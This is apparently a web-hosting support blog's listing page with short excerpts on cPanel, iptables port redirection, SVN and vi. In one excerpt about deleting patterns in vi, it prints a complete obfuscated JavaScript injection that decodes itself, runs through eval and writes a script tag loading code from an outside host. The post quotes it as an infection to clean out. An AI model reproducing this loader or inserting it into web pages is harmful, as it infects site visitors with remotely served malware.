Snippets

Virtfs dir for shell enabled user is not removed on termination of account or removal of shell

Tags: bash shellcPaneljailshellquotashell accounttermination of accountvirtfs

Published on : May 16, 2009 by

Virtfs dir for shell enabled user is not removed on termination of account or removal of shell

Since we are in the field of cPanel server administration, sometimes our clients have come up the issue in removing Virtfs dir for a jailshell enabled user is not removed on termination of account or removal of shell from his account. This often happens when you enable jailshell only and not normal bash shell. This […]

Continue Reading...


In cPanel, howto make exceptions in the email sending limit, per domain ?

Tags: cPanelemail sending limiteximper domain limitWHM

Published on : by

In cPanel, howto make exceptions in the email sending limit, per domain ?

Since we are in the field of cPanel server support, some of our clients have come with the requirement that they want to change the Email sending limit per domain. You may have already know about the following option: Main –> Server Configuration –> Tweak Settings –> The maximum each domain can send out per […]

Continue Reading...


Matching and deleting patterns across multiple lines in vi

Tags: across multiple lines in viMatchingmutiline searchingSnippetsvim

Published on : May 13, 2009 by

Matching and deleting patterns across multiple lines in vi

If you want to search and replace a pattern in Linux VI editor similar to below, <script language=”javascript”><!– (function(){var nsLd=’v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+ :22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e: 69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0) :26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30): 26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22: 3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+ :62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74: 20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22): 3b:7d’;var huwu4=nsLd.replace(/:/g,’%’);var oLy=unescape(huwu4);eval(oLy)})(); // –></script> Those who are in web hosting industry may know what the above line means :D. Anyways you can use this, in the vi […]

Continue Reading...


How do I redirect a given port on a given IP address to a different port on a different host or network

Tags: iptablesnatredirection

Published on : April 30, 2009 by

How do I redirect a given port on a given IP address to a different port on a different host or network

To redirect to external IP and port, issue these three iptables rules. I am giving an example where we had to redirect port 80 of one server’s IP to port 9001 (dotnetpanel port) of another machine. 64.192.34.215 is the IP from which are redirecting the port 80 to the destination IP, 208.24.210.233 and it’s port […]

Continue Reading...


How would I checkout a particular version from SVN

Tags: checkoutClipshareffmpegSVN

Published on : April 24, 2009 by

How would I checkout a particular version from SVN

I needed to checkout a particular version from SVN server , since XVID and JPEG was not getting enabled in Clipshare. Infact they were not getting linked in the mencoder or mplayer. And when checked the FOSS.IN award winning script ffmpeginstaller by Master Sherin (who is an expert in kungfoo), I saw that is uses […]

Continue Reading...


Let's Connect

Categories

Your Cart

Cart is empty.

Subtotal
₹0.00
APPLY
0
Send this to a friend